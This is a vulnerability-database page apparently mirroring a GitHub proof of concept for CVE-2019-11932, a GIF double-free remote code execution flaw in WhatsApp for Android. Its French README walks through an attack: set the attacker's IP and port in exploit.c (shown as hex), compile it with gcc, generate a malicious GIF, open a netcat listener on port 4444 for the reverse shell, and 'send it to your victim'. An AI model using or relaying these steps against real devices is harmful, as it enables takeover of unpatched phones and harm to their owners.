CVE-2019-11932 PoC — Facebook WhatsApp 资源管理错误漏洞

Source

https://github.com/SmoZy92/CVE-2019-11932

Associated Vulnerability

Title:Facebook WhatsApp 资源管理错误漏洞 (CVE-2019-11932)
Description:A double free vulnerability in the DDGifSlurp function in decoding.c in the android-gif-drawable library before version 1.2.18, as used in WhatsApp for Android before version 2.19.244 and many other Android applications, allows remote attackers to execute arbitrary code or cause a denial of service when the library is used to parse a specially crafted GIF image.

Readme

# CVE-2019-11932

Modifiez l'adresse d'écoute (celle de l'attaquant) ainsi que le port d'écoute dans le fichier exploit.c
<br />Code hexa suivant : 

3139 322e 3136  
382e 322e 3732 2034 3434 3420 


![alt text](https://i.imgur.com/v807Gam.png)
<br /> <br />

Compilez le code : <br />
gcc -o exploit egif_lib.c exploit.c <br /> <br />

Lancez le fichier compilé ./exploit exploit.gif<br />
c/c l'output dans un gif <br /> <br />

Lancez le listener netcat : <br />
nc -lvp 4444 <br /> <br />

Envoyez à votre victime ! <br /> <br />

**Versions impactées :**  2.19.230 et en dessous <br />
Officiellement patché dans la version 2.19.244

Source : https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/ <br />

**Linkedin** : https://www.linkedin.com/in/thomas-lounis-749456175/

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →